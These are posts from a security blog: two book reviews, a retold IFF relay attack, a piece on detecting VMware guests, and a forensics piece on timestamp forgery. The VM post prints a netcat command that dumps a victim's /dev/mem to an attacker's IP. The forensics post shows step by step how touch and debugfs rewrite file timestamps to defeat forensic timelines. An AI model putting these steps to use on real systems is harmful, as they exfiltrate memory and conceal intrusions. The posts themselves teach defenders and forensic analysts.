Showing posts with label hacking. Show all posts
Showing posts with label hacking. Show all posts

28 March 2016

The Hacker's Playbook

When reading technical books I mainly find three kind of books: those that don't teach anything new, those that are gold mine of knowledge and those that only scratchs the surfaces of topics but give you interesting links to investigate further on. I think that "The Hacker's Playbook: Practical Guide to Penetration Testing" by Peter Kim is placed in the third category: just reading it you won't be a master pentester but if you really investigate the links and resources the author points you'll definitely get the mastery.

The book deals with many topics but not profoundly: scanning (network and web), exploiting, privilege elevation, networks attacks (wired and wireless), social engineering, AV-evasion, password cracking, etc. I think that as an introductory text is right and it's well focused because it explains things using tools "open source" or freely available, but where this books excels is pointing at public resources to go deeper in your learning. There are a wealth of links along the book all all of them points to really interesting web resources with tools, courses, tutorials and, and this is very important, places to train your skills without end with SWAP knocking your door.

Text is well written and explanations are concise and easy to understand. Content is cleverly structured and covers almost every field in penetration testing.

Taking in count it's not an expensive book I've found worth buying and reading it and I recommend it for introductory levels or for mediums levels who want a quick state-of-the-art review.


23 February 2014

Violent Python

Python is widely used in many fields including maths, physics, engineering, scripting, web programming and, of course, security. Its power to be a glue between many tools and programming languages make it the perfect option for pentesting.

"Violent Python" scratches the surface of python in the world security tools programming world. It's a correct book, actually a correct cookbook. Correct because although the example programs are short and simple they show python in action in many security fields: geolocation, obfuscation, exploit development, network analysis and forgery, web scrapping and a long etcetera.

Problem is that the book is just correct because example program are not very pythonic. Although code is simple and clear, python offers smarter ways to do that things. Besides example programs are unambitious and don't go further of mere curiosities. In my opinion, examples could have been more spectacular and many more fields in security could have been covered.

I don't regret having bought "Violent Python", but maybe I'm a bit dissapointed because book is geared to people in a more initial point than me in the learning journey into security engineering. For that people this book is a fun and a direct approach to security tools development.

06 April 2012

MIG-in-the-middle

man-in-the-middle attack occurs when a third is located between two principals, whether individuals or some type of equipment, and deceives them into believing that each of them he is the other principal. It acts as an interface for modifying the flow of information exchanged. The only solution to this type of attack is the encryption of communications using a protocol that involves a key exchange through a secure channel, so that even if an attacker could intervene communication would be unable to understand or to modify it without being detected by integrity checks. 

So much for theory. The practice supports several variations, which have been made throughout history. One of the most spectacular I have found during the reading of Security Engineering , of Ross Anderson. To illustrate the dissertation on man-in-the-middle attacks, the author tells the disaster suffered by the South African troops because of an attack variant that the time has come calling MIG-in-the-middle. 

======================================
Article's author note: As Zooko commented, Ross Anderson admitted in the second edition of his book that he recently discovered this history is unfounded. However it could have happened (change the actors) in other wars in other places, so I think it's still interesting.
======================================

In the late 80, South Africa was involved in a war in northern Namibia and southern Angola. His goal was to keep the white government of Namibia and to the puppet government of UNITA in Angola. As the South African army was composed exclusively of white recruits and these did not represent a very large population segment, it was essential to maintain a casualtie rate as low as possible.So the South African army preferred to concentrate on maintaining order in Namibia and support with its air force to the UNITA troops in Angola. To prevent the Angolan rebel troops and their Cuban allies to counter strike against Namibia, South Africa deployed a powerful barrier of anti-aircraft batteries. To prevent the so-called "friendly fire," South African aircraft were equipped with IFF (Identify-friend-or-foe), common today, which responded according to a predetermined algorithm to the signals from anti-aircraft batteries so that these identify themselves as friends to the South African aircraft.

The defensive system seemed unbeatable, and yet one day a squad of Cuban MiGs crossed the line of defense and bombed one of the main camps of Namibia. South African anti-aircraft batteries didn't shoot a single missile. Casualties were terrible and led the South African government to decide to withdraw troops from Namibia, which eventually led to the fall the white government of that country. 

Time passed until the discovery (and confession) of the causes of that monumental failure in the South African defense. It appears that the Angolan intelligence learned that the South Africans, perhaps due to overconfidence, left switched on their IFF devices while conducting missions over Angolan territory. What they did was to situate a MIG waiting near the border of Namibia to a South African squadron (SAAF in the figure) headed to bomb Angola.When South Africans were present on Angola to carry out their respective missions, the MIGs entered the territory of Namibia. Of course, the South African air defenses detected the MIGs and launched the IFF signals to determine whether they were friend or foe aircrafts. The MIGs lacked the necessary keys to correctly answer the IFF signals, so their plan was to forward the signals to their radio stations in Angola and make them send that signals to the South African squadron which was flying over that country at that time. The plan worked because South African airplanes had turned on their IFF and when Angolan radio stations broadcast the signals sent by the MIGs, the South Africans began to reply to them automatically without knowing that these responses were being forwarded to the MIG squadron so that they can serve it to  the South African batteries in Namibia. Thus, South African air defenses in Namibia thought that those MIGs were friendly aircrafts, letting them pass. 

That attack forced them to rethink deeply technology, protocols and operating procedures used for the IFF. To begin with, at the operational level South African prohibited pilots to let their IFFs on when they flew over enemy territory. At the protocol level the solution was much harder to find and certainly was not definitive, as they began include the aircraft identification in the response returned by the IFF so that they could correlate the data offered by control towers to find differences. Another method tried was to measure the delays of the responses so that if any came "later" than usual they could suspect that the IFF was generated by a plane that was farther away than the plane detected. Keep in mind that at this particular attack the encryption of communications is not useful as MiGs did not need to break the confidenciality or integrity of IFF signals, since they needed only to "reflect them" for their radio stations . All these answers are far from perfect and much less viable in battle areas crowded with air traffic of the two sides, which is why IFF techniques is a field in constant development to avoid disasters like that caused by the attack MIG- in-the-middle.

13 November 2011

Virtual Machine Detection

Virtualization has expanded strongly over recent years in the design of organizational systems, which is not surprising given the cost savings it offers, ease of scaling and fault tolerance. So much that now they are beginning to say that is better  for the backoffice to be based exclusively on virtualization solutions like those offered by VMware , Xen or VirtualBox, among others.However, these proposals tend to be based more on excitement from the marketing promises than on technical analysis in the cold.

Medium point is probably the most interesting and safe: continue to use physical machines to critical services and have virtualization support into play when a physical machine fails or as temporary support in case of saturation loading of a phisical farm. Another very interesting field of virtual machines is the test-lab during development work creating machines or cheating or honeypots . In any case, in my humble opinion, combining in one phisical machine virtualized servers from different levels of security is completely inadvisable given vulnerabilities are being discovered and bring into question the alleged isolation between the host machine and its virtual machines . In the event that such isolation is compromised, an attacker might try to jump from one level to another, avoiding the perimeter defenses or could compromise the machines hosted on the same virtualization platform.

Given these vulnerabilities begin to surface normal techniques to discover if a machine is or not part of a virtualization infrastructure. Discover that an intruder is in a virtual machine can be considered much more profitable to attack the phisical host machine than use the virtual machine as a bridge to the rest of the network. These techniques analyze the target machine in order to detect signs typical of a virtual machine. Such signs may be of different types: 


    • Issues in special processes, file systems and / or registration.
    • Issues in memory.
    • Virtual hardware.
    • Low-level instructions specific to virtual machines.

Throughout this article we will study each of these possible leads by the example of a VMware-based virtual machine, as the most widespread platform and to some extent, typical.

In the case of VMware, the process more easily detectable is VMtools . The VMtools are a pack of VMware's own tools, if installed in a virtual machine, increases graphics performance and establish a communication channel between the host and virtual machine so that you can use shared folders or drag -and-drop files. The problem is that all these features have a price and is posing a risk to the safety of the system to drive a wedge attack against the insulation between the host and the virtual machine. The fact is that the use of VMtools actives a service that is easily detectable in the table of virtual machine processes. Besides, a thorough analysis of the file system of a virtual machine shed more than 50 references to the words "vmware" and "vmx". The same can be said of the register (in the case of Windows) that would be "marked" with over 300 references to the word registration VMware.For all the above, VMtools should be avoided when possible just using them only after a proper risk analysis.

The second case, the memory footprint, is virtually impossible to avoid. If the virtual machine was Linux, an attacker could make a primary memory dump to analyze later in search of the word "vmware". This would not have to do more than the following:
attacker$ nc -l -p 2000 -o memory_dump_genesys 
victim$ sudo dd if=/dev/mem bs=100k | nc ip-atacante 2000
After downloading, dump analysis may be as simple as the following: 
attacker$ grep -ic vmware memory_dump_genesys
360
attacker$ grep -i vmware memory_dump_genesys 
<> 

The problem of this approach is its slownes as an attacker have to transmit the image from memory (several GB) through the network and the load on the attacked machine, which could alert administrators of intrusion.
Another option is to use specialized tools such as Scoopy, which can detect memory allocation patterns typical of virtualized machines.

As for the virtual hardware, the easiest case to detect the network card as it is unusual for the first 6 characters of the MAC point to the card manufacturer.On the Internet there are many search engines that allow to identify the ethernet card manufacturer based on its MAC. In the case of VMware virtual ethernet interfaces are marked with a MAC which is of type: 00:0 C: 29: xx: xx: xx.
Another case is that of hard disks becuse VMware enables virtualization of SCSI hard drives. A simple search on the boot logs alerts you that we have a virtual machine:

@ dante dante-desktop: ~ $ cat / var / log / messages | grep scsi
Mar 19 21:17:57 dante-desktop kernel: [83993.729650] scsi0: ata_piix
Mar 19 21:17:57 dante-desktop kernel: [83993.729955] scsi1: ata_piix
Mar 19 21:17:57 dante-desktop kernel: [83994.585470] scsi 1:0:0:0: CD-ROM PIONEER DVD-RW DVR-111D 1.23 PQ: 0 ANSI: 5
Mar 19 21:17:57 dante-desktop kernel: [83994.585847] scsi 1:0:1:0: CD-ROM IDE CDR11 VMware NECVMWar 1.00 PQ: 0 ANSI: 5
Mar 19 21:17:57 dante-desktop kernel: [83994.631853] sr0: scsi3-mmc drive: 40x/40x writer cd / rw cdda tray xa/form2
Mar 19 21:17:57 dante-desktop kernel: [83994.634815] sr1: scsi3-mmc drive: 1x/1x cdda tray xa/form2
Mar 19 21:17:57 dante-desktop kernel: [83994.648546] sr 1:0:0:0: Attached scsi generic sg0 type 5
Mar 19 21:17:57 dante-desktop kernel: [83994.648772] sr 1:0:1:0: Attached scsi generic sg1 type 5
Mar 19 21:17:57 dante-desktop kernel: [83994.931779] SCSI2: ioc0: LSI53C1030, FwRev = 01032920h, Ports = 1, MaxQ = 128, IRQ = 17
Mar 19 21:17:57 dante-desktop kernel: [83995.050997] scsi 2:0:0:0: Direct-Access VMware, VMware Virtual S 1.0 PQ: 0 ANSI: 2
Mar 19 21:17:57 dante-desktop kernel: [83995.063046] scsi 2:0:0:0: Attached scsi generic sg2 type 0
Mar 22 20:11:50 dante-desktop kernel: [88289.831746] scsi0: ata_piix
Mar 22 20:11:50 dante-desktop kernel: [88289.835558] scsi1: ata_piix
Mar 22 20:11:50 dante-desktop kernel: [88291.093663] scsi 1:0:0:0: CD-ROM PIONEER DVD-RW DVR-111D 1.23 PQ: 0 ANSI: 5
Mar 22 20:11:50 dante-desktop kernel: [88291.101227] scsi 1:0:1:0: CD-ROM IDE CDR11 VMware NECVMWar 1.00 PQ: 0 ANSI: 5
Mar 22 20:11:50 dante-desktop kernel: [88291.380171] SCSI2: ioc0: LSI53C1030, FwRev = 01032920h, Ports = 1, MaxQ = 128, IRQ = 16
Mar 22 20:11:50 dante-desktop kernel: [88291.504844] scsi 2:0:0:0: Direct-Access VMware, VMware Virtual S 1.0 PQ: 0 ANSI: 2
Mar 22 20:11:50 dante-desktop kernel: [88296.060604] sr0: scsi3-mmc drive: 40x/40x writer cd / rw cdda tray xa/form2
Mar 22 20:11:50 dante-desktop kernel: [88296.076810] sr1: scsi3-mmc drive: 1x/1x cdda tray xa/form2
Mar 22 20:11:50 dante-desktop kernel: [88296.159975] sr 1:0:0:0: Attached scsi generic sg0 type 5
Mar 22 20:11:50 dante-desktop kernel: [88296.160101] sr 1:0:1:0: Attached scsi generic sg1 type 5
Mar 22 20:11:50 dante-desktop kernel: [88296.160215] scsi 2:0:0:0: Attached scsi generic sg2 type 0

As if this were not clear enough, a simple call to command sdparm to confirm this point:

@ dante dante-desktop: ~ $ sudo sdparm-a / dev/sda1
/ Dev/sda1: VMware, VMware Virtual S 1.0 

In the end, we have proved that virtualization with VMware is not "anonymous". But there is still one lastl fireworks in that virtual hardware identification is concerned, it made hardware drivers identify the result is quite illuminating:

@ dante dante-desktop: ~ $ lspci-v
00:00.0 Host bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 01)
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 0

00:01.0 PCI bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 01) (prog-if 00 [Normal decode])
Flags: bus master, 66MHz, medium devsel, latency 0
Bus: primary = 00, secondary = 01, subordinate = 01, sec-latency = 64

00:07.0 ISA bridge: Intel Corporation PIIX4 ISA 82371AB/EB/MB (rev 08)
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 0

00:07.1 IDE interface: Intel Corporation 82371AB/EB/MB PIIX4 IDE (rev 01) (prog-if the 8th [Master CCA Prip])
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 64
[Virtual] Memory at 000001f0 (32-bit, non-prefetchable) [disabled] [size = 8]
[Virtual] Memory at 000003f0 (type 3, non-prefetchable) [disabled] [size = 1]
[Virtual] Memory at 00000170 (32-bit, non-prefetchable) [disabled] [size = 8]
[Virtual] Memory at 00000370 (type 3, non-prefetchable) [disabled] [size = 1]
I / O ports at 1050 [size = 16]

00:07.2 USB Controller: Intel Corporation 82371AB/EB/MB PIIX4 USB (prog-if 00 [UHCI])
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 64, IRQ 18
I / O ports at 1060 [size = 32]

00:07.3 Bridge: Intel Corporation PIIX4 ACPI 82371AB/EB/MB (rev 08)
Subsystem: VMware Inc virtualHW v3
Flags: medium devsel, IRQ 9

00:0 f.0 VGA compatible controller: VMware Inc [VMware SVGA II] PCI Display Adapter (prog-if 00 [VGA])
Subsystem: VMware Inc [VMware SVGA II] PCI Display Adapter
Flags: bus master, medium devsel, latency 64
I / O ports at 1440 [size = 16]
Memory at F0000000 (32-bit, non-prefetchable) [size = 128M]
Memory at e8000000 (32-bit, non-prefetchable) [size = 8M]
[Virtual] Expansion ROM at 20010000 [disabled] [size = 32K]

00:10.0 SCSI storage controller: LSI Logic / Symbios Logic 53c1030 PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 01)
Flags: bus master, medium devsel, latency 64, IRQ 16
I / O ports at 1080 [size = 128]
Memory at e8810000 (32-bit, non-prefetchable) [size = 4K]
[Virtual] Expansion ROM at 20018000 [disabled] [size = 16K]

00:11.0 Ethernet controller: Intel Corporation Gigabit Ethernet Controller 82545EM (Copper) (rev 01)
Subsystem: VMware Inc Unknown device 0750
Flags: bus master, 66MHz, medium devsel, latency 0, IRQ 17
Memory at e8820000 (64-bit, non-prefetchable) [size = 128K]
Memory at e8800000 (64-bit, non-prefetchable) [size = 64K]
I / O ports at 1450 [size = 8]
[Virtual] Expansion ROM at 20000000 [disabled] [size = 64K]
Capabilities: 

00:12.0 Multimedia audio controller: Ensoniq ES1371 [AudioPCI-97] (rev 02)
Subsystem: Ensoniq Creative Sound Blaster AudioPCI64V, AudioPCI128
Flags: bus master? devsel, latency 64, IRQ 18
I / O ports at 1400 [size = 64] 


Scoopy's creator, Tobias Klein, also developed a tool, called Doo , able to detect virtual machines based on analysis similar to the ones in this article.

Finally, we have to mention the low-level instructions specific to virtual machines.Virtualization solutions introduce these instructions in order to facilitate communication between the VM and host. Tools like VMDetect use these instructions to detect when a machine is actually virtualized. What they do is to call these instructions, if there is an exception we have a physical machine, if instead the instruction is then executed at a machine we before a virtual one.

All these detection vectors should warn against the alleged infallibility of virtualization they try to sell through commercial channels. It is true that virtualization can bring significant benefits to organizations, but only if it is deployed properly and prudently or, otherwise, may lead, as with all human works, to disaster.

17 October 2011

Timestamps falsification

I recently had to do forensic analysis of a server in my organization who had suffered an intrusion.

The input vector was evident as soon as I crossed a few words with the administrator of the machine ... again, a huge investment in security infrastructure had been wasted by an administrator who had gone from our recommendations and had used a dictionary word as his password. The attack had been classic. The logs registered a brute force attack, followed finally by "logins" from other countries' IP addresses. Soon I located in a hidden directory a package of tools for network scanning and brute force attacks. As far as we know, it did not seem attackers had time to use the compromised server as a bridge to our network.

At that point, we decided to format server, reinstall, patch, limiting the maximum services running and make sure we put a trustfull password manager ... and we set our IDS/IPS thresholds starker.

Nothing out of the routine ... and that was what made me think on the possibility that all that might not have been more than a decoy. Everything was so clear since the administrator told his too-easy password that when I found the hidden folder and did a search of timestamps "too actual" in the system (unsuccessfully) I made no further investigation (other things urged). The problem is that the "timestamps" or modification timestamps of the files are not unreliable. Despite this, many programs such as forensics Autopsy / SleuthKit uses the timestamps of files to develop timelines that allow calls to trace changes made ​​will the intruder. In the case of attack that I had to investigate, timestamp trail was clear. However, as I think about that coldly, that clear trail denoted whether that the attacker was very careless or very cunning because he left a false trail to let my follow it. As we could not be sure so be decided to format server.

Forging the time stamp of a file is not difficult. For example, if you create a file, it will time stamp the date and time of our server at that time. Each time you modify the file timestamp is updated to the date and time the modification is made. Given that many of the files on a server remain unchanged for long periods of time their time stamps are usually very old, so a recent modification by an intruder often calls our attention. However, if the attacker is careful to use the command touch to get your old time stamp to all files that you modified. Here is an example, suppose you create a test file:



@ dante dante-desktop: ~ / test $ echo test> test.txt
@ dante dante-desktop: ~ / test $ ls-l test.txt
-Rw-r - r - 1 7 01/03/2008 6:18 dante dante test.txt

After a few minutes we modify the file you just created:

@ dante dante-desktop: ~ / test $ echo test2>> test.txt
@ dante dante-desktop: ~ / test $ ls -l test.txt
-Rw-r - r - 1 dante dante test.txt 15 01/03/2008 6:22 

As you can see, the time stamp has been updated. An easy way to hide this update wold be using touch command:

@ dante dante-desktop: ~ / test $ touch -t 03010618 test.txt
@ dante dante-desktop: ~ / test $ ls -l test.txt
-Rw-r - r - 1 dante dante test.txt 15 01/03/2008 6:18

This functionality is easily integrated into scripts that allow restoring directory timestamps integers. As a demonstration of it I developed  TSpoofer , a tool made ​​in python that allows you to collect timestamps of files and directories which  hang from a specified directory. This tool can be used afterwards to restore the marks of time previous to modifications making harder to forensics to create their timelines.

As you can see, it is very easy to falsify the time stamps of files thus negating the usefulness of the timelines of forensic tools. You will need to bear this in mind when doing forensics: timelines help but only with careless attackers.



Update of March 19, 2008 -> Something great of computer security is that you are always learning new things. In that sense I have found that using a "ls-l" is only a very superficial way to check the modification timestamp of a file, since it only shows the mtime of the inode. I mean, the timestamps consist of 3 components: mtime, atime and ctime. The mtime check the date and time of the last write to the file, atime last reading of the file and ctime last change of the file. We must take into account a very common confusion, in which I include myself until today, which many believe ctime corresponds to creation-time when it actually refers, at least in linux, to change-time. What is the difference between mtime and ctime? that ctime is a superset of mtime, I mean when mtime is updated so it happens with ctime, but there are times when ctime is updated but mtime not. This occurs in cases where the file is updated but not their contents, for example by changing the permissions associated with the file.
As a demonstration we will perform the same tests as before but this time using the find command to display the timestamps.


@ dante dante-desktop: ~ / test $ date
Wed Mar 19 13:53:23 CET 2008
@ dante dante-desktop: ~ / test $ echo test> test.txt
@ dante dante-desktop: ~ / test $ find. /-printf "% m,% Ax,% AT;% Tx,% TT,% Cx,% CT,% U,% U,% G,% s,% p \ n "| grep test.txt
644, 19/03/08, 13:53:27, 19/03/08, 13:53:27, 19/03/08, 13:53:27, 1000, 1000, 1000, 7,. / Test. txt
Because we can see the timestamp find complete, the first triple (date, time) correspond to the atime, mtime and the second to the third to ctime.

@ dante dante-desktop: ~ / test $ echo test2>> test.txt
@ dante dante-desktop: ~ / test $ find. /-printf "% m,% Ax,% AT;% Tx,% TT,% Cx,% CT,% U,% U,% G,% s,% p \ n "| grep test.txt
644, 19/03/08, 13:53:27, 19/03/08, 14:00:14, 19/03/08, 14:00:14, 1000, 1000, 1000, 15,. / Test. txt 

You can view the atime remains the same as I have not read the file but entered data in it, but both the mtime and the atime has been updated after file writing.

@ dante dante-desktop: ~ / test $ chmod 666. / test.txt
@ dante dante-desktop: ~ / test $ find. /-printf "% m,% Ax,% AT;% Tx,% TT,% Cx,% CT,% U,% U,% G,% s,% p \ n "| grep test.txt
666, 19/03/08, 13:53:27, 19/03/08, 14:00:14, 19/03/08, 14:08:05, 1000, 1000, 1000, 15,. / Test. txt

This test demonstrates the difference between mtime and ctime. We have changed the file to alter its permissions, which is recorded in the ctime, but as this change is not supposed to write data to file the mtime remains unchanged. Hence the difference of 8 seconds that appears between the mtime and ctime.

Remains to be seen what will happen when using the touch command.

@ dante dante-desktop: ~ / test $ echo test3>> test.txt
@ dante dante-desktop: ~ / test $ find. /-printf "% m,% Ax,% AT;% Tx,% TT,% Cx,% CT,% U,% U,% G,% s,% p \ n "| grep test.txt
666, 19/03/08, 13:53:27, 19/03/08, 14:14:56, 19/03/08, 14:14:56, 1000, 1000, 1000, 23,. / Test. txt
@ dante dante-desktop: ~ / test $ touch -t 03081400.14. / test.txt
@ dante dante-desktop: ~ / test $ find. /-printf "% m,% Ax,% AT;% Tx,% TT,% Cx,% CT,% U,% U,% G,% s,% p \ n "| grep test.txt
666, 08/03/08, 14:00:14, 08/03/08, 14:00:14, 19/03/08, 14:18:43, 1000, 1000, 1000, 23,. / Test. txt 

It seems that "touch -t" modifies both the atime and mtime. To correct the atime we used "touch -a -t".

@ dante dante-desktop: ~ / test $ touch -a -t 03081353.27. / test.txt
@ dante dante-desktop: ~ / test $ find. /-printf "% m,% Ax,% AT;% Tx,% TT,% Cx,% CT,% U,% U,% G,% s,% p \ n "| grep test.txt
666, 08/03/08, 13:53:27, 08/03/08, 14:00:14, 19/03/08, 14:21:00, 1000, 1000, 1000, 23,. / Test. txt
@ dante dante-desktop: ~ / test $ ls-l. / test.txt
-Rw-rw-rw-1 dante dante 23 08/03/2008 14:00. / Test.txt 

The problem is that touch does not have any possibility to change the ctime.Using this tool, an attacker can trick an administrator who is limited to reviewing your file system with a "ls-l" but not a more conscientious to use findor "ls -l - time = ctime".

Should we declare victory? ... not yet. While an attacker would not be having to cover their tracks touch itself could use a low-level tool called debugfs (for ext2/ext3 systems, but for reiserfs systems we have debugfs.reiser4) to modify the ctime of the file. This tool requires root privileges, and it is very delicate since a failure can corrupt the entire file table. Besides, this tool is more difficult to integrate into a script and, as far as I know, you need to restart the system to apply the changes if these are done on a live filesystem. Its use is as follows:

@ dante dante-desktop: ~ / test $ ls-li
total 28
96 984-rw-rw-rw-1 dante dante 23 08/03/2008 14:00 test.txt
@ dante dante-desktop: ~ / test $ sudo debugfs-w / dev/sda1
debugfs 1.40.2 (12-Jul-2007)
debugfs: mi <96984>
Mode [0100666]
User ID [1000]
Group ID [1000]
Size [23]
Creation time [1205932874] 1204981214
Modification time [1204981214]
Access time [1204980807]
Deletion time [0]
Link count [1]
Block count high [0]
Block count [8]
File flags [0x0]
Generation [0x4091865b]
File acl [0]
High 32bits of size [0]
Fragment address [0]
Direct Block # 0 [204803]
Direct Block # 1 [0]
Direct Block # 2 [0]
Direct Block # 3 [0]
Direct Block # 4 [0]
Direct Block # 5 [0]
Direct Block # 6 [0]
Direct Block # 7 [0]
Direct Block # 8 [0]
Direct Block # 9 [0]
Direct Block # 10 [0]
Direct Block # 11 [0]
Indirect Block [0]
Double Indirect Block [0]
Triple Indirect Block [0]
debugfs:
debugfs: close
debugfs: quit
@ dante dante-desktop: ~ / test $ f ind. /-printf "% m,% Ax,% AT;% Tx,% TT,% Cx,% CT,% U,% U,% G,% s; % p \ n "| grep test.txt
666, 08/03/08, 13:53:27, 08/03/08, 14:00:14, 19/03/08, 14:21:00, 1000, 1000, 1000, 23,. / Test. txt
@ dante dante-desktop: ~ / test $ sudo shutdown-r now
Broadcast of messages from @ dante dante-desktop
(/ Dev/pts/0) at 17:10 ...

The system will shut down for reboot NOW!
(...)
@ dante dante-desktop: ~ / test $ find. /-printf "% m,% Ax,% AT;% Tx,% TT,% Cx,% CT,% U,% U,% G,% s,% p \ n "| grep test.txt
666, 08/03/08, 13:53:27, 08/03/08, 14:00:14, 08/03/08, 14:00:14, 1000, 1000, 1000, 23,. / Test. txt
It is notable that a tool like debugfs also confuses the meaning of ctime and ask for the "Creation Time", but as mentioned it is a common mistake (think what sense would be having a creation time mark that changes with each modification the file). Anyway, as you can see, now that has changed the value of ctime completely, erasing tracks left in the timestamps ...